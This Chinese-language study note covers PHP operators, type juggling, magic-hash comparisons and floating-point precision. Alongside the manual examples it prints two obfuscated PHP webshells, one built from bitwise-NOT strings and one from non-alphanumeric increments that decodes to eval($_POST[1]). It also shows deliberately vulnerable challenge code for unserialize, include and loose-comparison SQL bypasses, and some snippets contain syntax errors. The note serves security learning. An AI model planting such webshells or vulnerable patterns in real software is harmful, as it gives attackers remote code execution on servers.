PHP Datatype Conversion Safety Risk、Floating Point Precision、Operator Security Risk、Safety Coding Principle

0. 引言
1. PHP operator introduction
2. 算术运算符
3. 赋值运算符
4. 位运算符
5. 执行运算符
6. 递增／递减运算符
7. 数组运算符
8. 类型运算符
9. PHP自动类型转换
10. 浮点数运算中的精度损失
11. 比较运算符

http://www.freebuf.com/news/67007.html
http://php.net/manual/zh/language.operators.php

1. 一元运算符只能接受一个值，例如
    1) !(逻辑取反运算符)
    2)_ ++(递增运算符)
2. 二元运算符可接受两个值，例如
    1)算术运算符 +(加)和 -(减)，大多数 PHP 运算符都是这种
3. 三元运算符，例如
    1) ? :，可接受三个值；通常就简单称之为"三元运算符" 

eval("\$rs2[title]=\"$rs2[title]\";");

http://php.net/manual/zh/language.operators.precedence.php

1. 除法运算符总是返回浮点数。只有在下列情况例外
    1) 两个操作数都是整数(或字符串转换成的整数)
    2) 并且正好能整
这时它返回一个整数
2. 取模运算符的操作数在运算之前都会转换成整数(除去小数部分)
3. 取模运算符 % 的结果和被除数的符号(正负号)相同。即 $a % $b 的结果和 $a 的符号相同 

http://php.net/manual/zh/language.operators.arithmetic.php

<?php 
    $a = ($b = 4) + 5; // $a 现在成了 9，而 $b 成了 4。
?>

<?php
    $a = 3;
    $b = &$a; // $b 是 $a 的引用

    print "$a\n"; // 输出 3
    print "$b\n"; // 输出 3

    $a = 4; // 修改 $a

    print "$a\n"; // 输出 4
    print "$b\n"; // 也输出 4，因为 $b 是 $a 的引用，因此也被改变
?>

<?php
class just4fun 
{
    var $enter;
    var $secret;
}
 
if (isset($_GET[‘pass‘])) 
{
    $pass = $_GET[‘pass‘];

    if(get_magic_quotes_gpc())
    {
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) 
    {
        $o->secret = "hack for fun!!";
        if ($o->secret === $o->enter)
        {
            echo "Congratulation! Here is my secret: ".$o->secret;
        }
    ｝
    else
    {
        echo "Oh no... You can‘t fool me";
    }
    else echo "are you trolling?";
}
?>

http://drops.wooyun.org/papers/660
http://php.net/manual/zh/language.operators.assignment.php 

1. 左移时右侧以零填充，符号位被移走意味着正负号不被保留
2. 右移时左侧以符号位填充，意味着正负号被保留 
//要注意数据类型的转换。如果左右参数都是字符串，则位运算符将对字符的 ASCII 值进行操作，我们在之后的数据类型隐式转换中还会再次详细讨论PHP这个特性

WEBSHELL代码
<?php
    $x = ~"?ŒŒš?‹";
    $y = ~"?—?–‘™?×Ö";
    $x($y);
?>

生成原理
<?php
    echo ~"assert";
    echo ~"phpinfo()";
?>
//注意这个文件一定要保存为ANSI格式

http://php.net/manual/zh/language.operators.bitwise.php
http://www.cnblogs.com/LittleHann/p/3522990.html 

<?php
    $output = `ls -al`;
    echo "<pre>$output</pre>";
?>

http://php.net/manual/zh/language.operators.execution.php
http://www.cnblogs.com/LittleHann/p/3522990.html

1. 在 Perl 中 $a = ‘Z‘; $a++; 将把 $a 变成‘AA‘，
2. 在 C 中，a = ‘Z‘; a++; 将把 a 变成 ‘[‘(‘Z‘ 的 ASCII 值是 90，‘[‘ 的 ASCII 值是 91)
//注意字符变量只能递增，不能递减，并且只支持纯字母(a-z 和 A-Z)。递增／递减其他字符变量则无效，原字符串没有变化 

<?php
    $i = ‘W‘;
    for ($n=0; $n<6; $n++) 
    {
        echo ++$i . "\n";
    }
?>
以上例程会输出：
X
Y
Z
AA
AB
AC
//递增或递减布尔值没有效果

<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.‘6‘.‘4‘.‘_‘.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));   
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT("eval($_POST[1])");
//key:=1
?>

http://www.cnblogs.com/LittleHann/p/3522990.html
http://php.net/manual/zh/language.operators.increment.php

<?php
    $a = array("a" => "apple", "b" => "banana");
    $b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

    $c = $a + $b; // Union of $a and $b
    echo "Union of \$a and \$b: \n";
    var_dump($c);

    $c = $b + $a; // Union of $b and $a
    echo "Union of \$b and \$a: \n";
    var_dump($c);
?>

执行后，此脚本会显示：
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}

<?php
    $a = array("apple", "banana");
    $b = array(1 => "banana", "0" => "apple");

    var_dump($a == $b); // bool(true)，值相等
    var_dump($a === $b); // bool(false)，键值都必须相等
?>

http://php.net/manual/zh/language.operators.array.php

<?php
    class MyClass
    {
    }

    class NotMyClass
    {
    }
    $a = new MyClass;

    var_dump($a instanceof MyClass);
    var_dump($a instanceof NotMyClass);
?>
以上例程会输出：
bool(true)
bool(false)

<?php
    class ParentClass
    {
    }

    class MyClass extends ParentClass
    {
    }

    $a = new MyClass;

    var_dump($a instanceof MyClass);
    var_dump($a instanceof ParentClass);
?>
以上例程会输出：
bool(true)
bool(true)

http://php.net/manual/zh/language.operators.type.php

//转换原则
1. 如果任何一个操作数是float，则所有的操作数都被当成float，结果也是float
2. 否则操作数会被解释为integer，结果也是integer
//注意这并没有改变这些操作数本身的类型；改变的仅是这些操作数如何被求值以及表达式本身的类型 

<?php
    $foo = "0";  // $foo 是字符串 (ASCII 48)
    $foo += 2;   // $foo 现在是一个整数 (2)
    $foo = $foo + 1.3;  // $foo 现在是一个浮点数 (3.3)
    $foo = 5 + "10 Little Piggies"; // $foo 是整数 (15)
    $foo = 5 + "10 Small Pigs";     // $foo 是整数 (15)
?>

<?php
    $a    = ‘car‘; // $a is a string
    $a[0] = ‘b‘;   // $a is still a string
    echo $a;       // bar
?>

1. (int), (integer) - 转换为整形 integer
2. (bool), (boolean) - 转换为布尔类型 boolean
3. (float), (double), (real) - 转换为浮点型 float
4. (string) - 转换为字符串 string
5. (array) - 转换为数组 array
6. (object) - 转换为对象 object
7. (unset) - 转换为 NULL (PHP 5)

http://php.net/manual/zh/language.types.type-juggling.php

1. 当转换为 boolean 时，以下值被认为是 FALSE
    1) 布尔值 FALSE 本身
    2) 整型值 0(零)
    3) 浮点型值 0.0(零)
    4) 空字符串，以及字符串 "0"
    5) 不包括任何元素的数组
    6) 不包括任何成员变量的对象(仅 PHP 4.0 适用)
    7) 特殊类型 NULL(包括尚未赋值的变量)
    8) 从空标记生成的 SimpleXML 对象

2. 当转换为 boolean 时，以下值被认为是 TRUE
    1) 除上述之外所有其它值都被认为是 TRUE(包括任何资源)
    2) -1 和其它非零值(不论正负)一样，被认为是 TRUE

<?php
    var_dump((bool) "");        // bool(false)
    var_dump((bool) 1);         // bool(true)
    var_dump((bool) -2);        // bool(true)
    var_dump((bool) "foo");     // bool(true)
    var_dump((bool) 2.3e5);     // bool(true)
    var_dump((bool) array(12)); // bool(true)
    var_dump((bool) array());   // bool(false)
    var_dump((bool) "false");   // bool(true)
?>

http://php.net/manual/zh/language.types.boolean.php#language.types.boolean.casting

<?php
    echo (int) ( (0.1+0.7) * 10 ); // 显示 7!
?> 
//详细的原理分析见下节：浮点数运算中的精度损失

<?php
    $a = 1.234; 
    $b = 1.2e3; 
    $c = 7E-10;
?>

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})
//浮点数的字长和平台相关 

1. 一个值可以通过在其前面加上 (string) 或用 strval() 函数来转变成字符串
2. 在一个需要字符串的表达式中，会自动转换为 string。比如在使用函数 echo 或 print 时，或在一个变量和一个 string 进行比较时，就会发生这种转换 
3. 一个布尔值 boolean 的 TRUE 被转换成 string 的 "1"。Boolean 的 FALSE 被转换成 ""(空字符串)。这种转换可以在 boolean 和 string 之间相互进行
4. 一个整数 integer 或浮点数 float 被转换为数字的字面样式的 string(包括 float 中的指数部分)。使用指数计数法的浮点数(4.1E+6)也可转换
5. 数组 array 总是转换成字符串 "Array"，因此，echo 和 print 无法显示出该数组的内容。要显示某个单元，可以用 echo $arr[‘foo‘] 这种结构。要显示整个数组内容见下文
5. 在 PHP 4 中对象 object 总是被转换成字符串 "Object"，如果为了调试原因需要打印出对象的值，请继续阅读下文。为了得到对象的类的名称，可以用 get_class() 函数。自 PHP 5 起，适当时可以用 __toString 方法。
6. 资源 resource 总会被转变成 "Resource id #1" 这种结构的字符串，其中的 1 是 PHP 在运行时分配给该 resource 的唯一值。不要依赖此结构，可能会有变更。要得到一个 resource 的类型，可以用函数 get_resource_type() 

<?php
    //声明一个字符串
    $_="";
    var_dump($_);

    /*
    []括号内使用了加法运算符，将字符串强转为了整型0，即$_[0]++，$_ = array(0 => "1")
    */
    $_[+$_]++;
    var_dump($_);

    //因为字符串拼接运算符的原因，$_数组被强制转换为了字符串，输出Array字符
    $_=$_."";
    var_dump($_);
    //$_ = "Array"
?>

1. 如果该字符串没有包含 ‘.‘，‘e‘ 或 ‘E‘ 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义)，该字符串将被当成 integer 来取值。其它所有情况下都被作为 float 来取值 
2. 该字符串的开始部分决定了它的值
    1) 如果该字符串以合法的数值开始，则使用该数值
    2) 否则其值为 0(零)
//合法数值由可选的正负号，后面跟着一个或多个数字(可能有小数点)，再跟着可选的指数部分。指数部分由 ‘e‘ 或 ‘E‘ 后面跟着一个或多个数字构成 

<?php
    $foo = 1 + "10.5";                // $foo is float (11.5)
    $foo = 1 + "-1.3e3";              // $foo is float (-1299)
    $foo = 1 + "bob-1.3e3";           // $foo is integer (1)
    $foo = 1 + "bob3";                // $foo is integer (1)
    $foo = 1 + "10 Small Pigs";       // $foo is integer (11)
    $foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
    $foo = "10.0 pigs " + 1;          // $foo is float (11)
    $foo = "10.0 pigs " + 1.0;        // $foo is float (11)     
?>

1. "ASCII字符串"和"纯整型数字(不包括科学记数法(‘e‘、‘E‘)、浮点小数‘.‘的double、float)"混合情况下转换为整型
2. "ASCII字符串"和"整型数字(可能包括"e"、"E"字符)"混合情况下转换为整型
3. "ASCII"字符串和"纯浮点型数字(科学记数法、浮点小数‘.‘的double、float)"混合情况下转换为浮点型

#include <stdlib.h>
1. strtod(): 字符串 -> 浮点型
2. strtol(): 字符串 -> 整型

<?php
    $foo = 1 + "10.5";                // $foo is float (11.5)
?>

1. 字符串以ASCII字母开头: 转换结果为0
2. 字符串以数字开头，到某一位遇到ASCII字符，则截取到纯数字为止，之后的ASCII字符忽略

<?php 
    $foo = 1 + "bob-1.3e3";                // $foo is integer (1) 
    var_dump("08c6a51dde006e64aed953b94fd68f0c" == 8);    //true
?>

<?php
if (isset($_GET[‘which‘]))
{
        $which = $_GET[‘which‘];
        switch ($which)
        {
        case 0:
        case 1:
        case 2:
                require_once $which.‘.php‘;
                break;
        default:
                echo GWF_HTML::error(‘PHP-0817‘, ‘Hacker NoNoNo!‘, false);
                break;
        }
}
?>
//xxx?which=solution可以成功

/*
1. str: 要转换的字符串，参数 str 字符串可包含正负号、小数点或E(e)来表示指数部分。如123. 456 或123e-2
2. endstr: 第一个不能转换的字符的指针，若endptr 不为NULL，则会将遇到的不符合条件而终止的字符指针由 endptr 传回；若 endptr 为 NULL，则表示该参数无效，或不使用该参数

【返回值】返回转换后的浮点型数；若不能转换或字符串为空，则返回 0.0 
*/
double strtod (const char* str, char** endptr);

<?php
    //"e"之后为纯数字，结果为 0e^123456789012345678901234567890 == 0e^123456789012345678901234567122191的比较
    var_dump("0e123456789012345678901234567890" == "0e123456789012345678901234567122191");    //true

    //0e^123456789012345678901234567890 == 0
    var_dump("0e123456789012345678901234567890" == "0");

    var_dump("000e123456789012345678901234567890" == "0");
?>

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166

P = Sum(10^n,n=0,30) / 16^32 = 3.26526*10^-9 = 3.26526*10^-9

<?php  
     var_dump((float)"12.43e1d2");              //float 124.3
     var_dump("12.43e1d2" == "124.3");          //boolean false
     var_dump((float)"12.43e1d2" == "124.3");   //boolean true
?>

ZEND_API zend_uchar ZEND_FASTCALL _is_numeric_string_ex(const char *str, size_t length, zend_long *lval, double *dval, int allow_errors, int *oflow_info) /* {{{ */
{
    const char *ptr;
    int digits = 0, dp_or_e = 0;
    double local_dval = 0.0;
    zend_uchar type;

    if (!length) 
    {
        return 0;
    }

    if (oflow_info != NULL) 
    {
        *oflow_info = 0;
    }

    /* Skip any whitespace
     * This is much faster than the isspace() function */
    while (*str == ‘ ‘ || *str == ‘\t‘ || *str == ‘\n‘ || *str == ‘\r‘ || *str == ‘\v‘ || *str == ‘\f‘) 
    {
        str++;
        length--;
    }
    ptr = str;

    //判断正负号
    if (*ptr == ‘-‘ || *ptr == ‘+‘) {
        ptr++;
    }

    //如果字符串的开头不是纯数字或者浮点型"."，则直接返回0
    if (ZEND_IS_DIGIT(*ptr)) 
    {
        /* Skip any leading 0s */
        while (*ptr == ‘0‘) 
        {
            ptr++;
        }

        /* Count the number of digits. If a decimal point/exponent is found,
         * it‘s a double. Otherwise, if there‘s a dval or no need to check for
         * a full match, stop when there are too many digits for a long */
        for (type = IS_LONG; !(digits >= MAX_LENGTH_OF_LONG && (dval || allow_errors == 1)); digits++, ptr++) 
        {
check_digits:
            if (ZEND_IS_DIGIT(*ptr)) 
            {
                continue;
            } 
            else if (*ptr == ‘.‘ && dp_or_e < 1) 
            {
                goto process_double;
            } 
            //科学记数法
            else if ((*ptr == ‘e‘ || *ptr == ‘E‘) && dp_or_e < 2) 
            {
                const char *e = ptr + 1;

                if (*e == ‘-‘ || *e == ‘+‘) 
                {
                    ptr = e++;
                }
                //如果当前字符串为科学记数法，则要求"e"、"E"之后的字符为纯数字，否则不能当成float科学记数法判断
                if (ZEND_IS_DIGIT(*e)) 
                {
                    goto process_double;
                }
            }

            break;
        }

        if (digits >= MAX_LENGTH_OF_LONG) {
            if (oflow_info != NULL) {
                *oflow_info = *str == ‘-‘ ? -1 : 1;
            }
            dp_or_e = -1;
            goto process_double;
        }
    } 
    //"xx.12"的浮点型数字
    else if (*ptr == ‘.‘ && ZEND_IS_DIGIT(ptr[1])) 
    {
process_double:
        type = IS_DOUBLE;

        /* If there‘s a dval, do the conversion; else continue checking
         * the digits if we need to check for a full match */
        if (dval) 
        {
            local_dval = zend_strtod(str, &ptr);
        } 
        else if (allow_errors != 1 && dp_or_e != -1) 
        {
            dp_or_e = (*ptr++ == ‘.‘) ? 1 : 2;
            goto check_digits;
        }
    } 
    //转换过程中如果遇到了一个不能转换为整型的字母，则转换结束
    else 
    {
        return 0;
    }

    if (ptr != str + length) 
    {
        if (!allow_errors) {
            return 0;
        }
        if (allow_errors == -1) {
            zend_error(E_NOTICE, "A non well formed numeric value encountered");
        }
    }

    if (type == IS_LONG) {
        if (digits == MAX_LENGTH_OF_LONG - 1) {
            int cmp = strcmp(&ptr[-digits], long_min_digits);

            if (!(cmp < 0 || (cmp == 0 && *str == ‘-‘))) {
                if (dval) {
                    *dval = zend_strtod(str, NULL);
                }
                if (oflow_info != NULL) {
                    *oflow_info = *str == ‘-‘ ? -1 : 1;
                }

                return IS_DOUBLE;
            }
        }

        if (lval) {
            *lval = ZEND_STRTOL(str, NULL, 10);
        }

        return IS_LONG;
    } else {
        if (dval) {
            *dval = local_dval;
        }

        return IS_DOUBLE;
    }
}

http://www.wechall.net/challenge/php0817/index.php
http://c.biancheng.net/cpp/html/128.html
http://linux.die.net/man/3/strtol 
http://php.net/manual/zh/language.types.type-juggling.php
http://www.freebuf.com/news/67007.html

struct _zval_struct 
{
    /* Variable information */
    zvalue_value value;     /* value */
    zend_uint refcount;
    zend_uchar type;    /* active type */
    zend_uchar is_ref;
};
//上面的结构中, 实际保存数值本身的是zvalue_value联合体
typedef union _zvalue_value 
{
    long lval;                  /* long value */
    double dval;                /* double value */
    struct 
    {
        char *val;
        int len;
    } str;
    HashTable *ht;              /* hash table value */
    zend_object_value obj;
} zvalue_value;

1. long lval: long lval是随着编译器, OS的字长不同而不定长的, 它有可能是32bits或者64bits
2. double dval: 而double dval(双精度)由IEEE 754规定, 是定长的, 一定是64bits 
//double的尾数采用52位bit来保存, 算上隐藏的1位有效位, 一共是53bits.

<?php
    $a = 9223372036854775807; //64位有符号数最大值
    $b = 9223372036854775808; //最大值+1
    var_dump($a);
    var_dump($b);

输出:
int(9223372036854775807)
float(9.22337203685E+18)

1. 如果在long型范围之内，则用lval来保存，zval为IS_LONG
2. 超出了long型范围，则就用dval表示，zval IS_FLOAT.

<?php
    $a = 9223372036854775807;
    $b = 9223372036854775808;
     
    var_dump($a === ($b - 1));
    输出是false.

比如, 对于整数, 我们知道它的二进制表示是, 101, 现在, 让我们右移俩位, 变成1.01, 舍去高位的隐含有效位1, 我们得到在double中存储5的二进制数值为:
0/*符号位*/ 10000000001/*指数位*/ 0100000000000000000000000000000000000000000000000000
5的二进制表示, 丝毫未损的保存在了尾数部分, 这个情况下, 从double转会回long, 不会发生精度丢失.

我们知道double用52位表示尾数, 算上隐含的首位1, 一共是53位精度.. 那么也就可以得出, 如果一个long的整数, 值小于:
2^53 - 1 == 9007199254740991; //牢记, 我们现在假设是64bits的long
那么, 这个整数, 在发生long->double->long的数值转换时, 不会发生精度丢失.

<?php
    $f = 0.58;
    var_dump(intval($f * 100)); //输出57
?>

浮点数: 以64位的长度(双精度)为例, 会采用1位符号位(E), 11指数位(Q), 52位尾数(M)表示(一共64位). 
1. 符号位：最高位表示数据的正负，0表示正数，1表示负数。
2. 指数位：表示数据以2为底的幂，指数采用偏移码表示
3. 尾数：表示数据小数点后的有效数字.

0.58的二进制表示基本上(52位)是: 0010100011110101110000101000111101011100001010001111
0.57的二进制表示基本上(52位)是: 0010001111010111000010100011110101110000101000111101
//而两者的二进制, 如果只是通过这52位计算的话,分别是:
0.58 -> 0.57999999999999996
0.57 -> 0.56999999999999995

看似有穷的小数, 在计算机的二进制表示里却是无穷的

<?php
    $a = 1.23456789;
    $b = 1.23456780;
    $epsilon = 0.00001;

    if(abs($a-$b) < $epsilon) 
    {
        echo "true";
    }
?>

http://www.laruence.com/2011/12/19/2399.html
http://php.net/manual/zh/language.types.float.php#warn.float-precision
http://www.laruence.com/2013/03/26/2884.html

<?php
    var_dump(0 == "a"); // 0 == 0 -> true
    var_dump("1" == "01"); // 1 == 1 -> true
    var_dump("10" == "1e1"); // 10 == 10 -> true
    var_dump(100 == "1e2"); // 100 == 100 -> true

    switch ("a") 
    {
    case 0:
        echo "0";
        break;
    case "a": // never reached because "a" is already matched with 0
        echo "a";
        break;
    }
?>

# GOAL: dump the info for the secret id
require ‘db.inc.php‘;
 
$id = @(float)$_GET[‘id‘];
 
$secretId = 1;
if($id == $secretId)
{
    echo ‘Invalid id (‘.$id.‘).‘;
}
else
{
    $query = ‘SELECT * FROM users WHERE id = \‘‘.$id.‘\‘;‘;
    $result = mysql_query($query);
    $row = mysql_fetch_assoc($result);
 
    echo "id: ".$row[‘id‘]."</br>";
    echo "name:".$row[‘name‘]."</br>";
}
http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001

http://php.net/manual/zh/language.operators.comparison.php
http://drops.wooyun.org/papers/660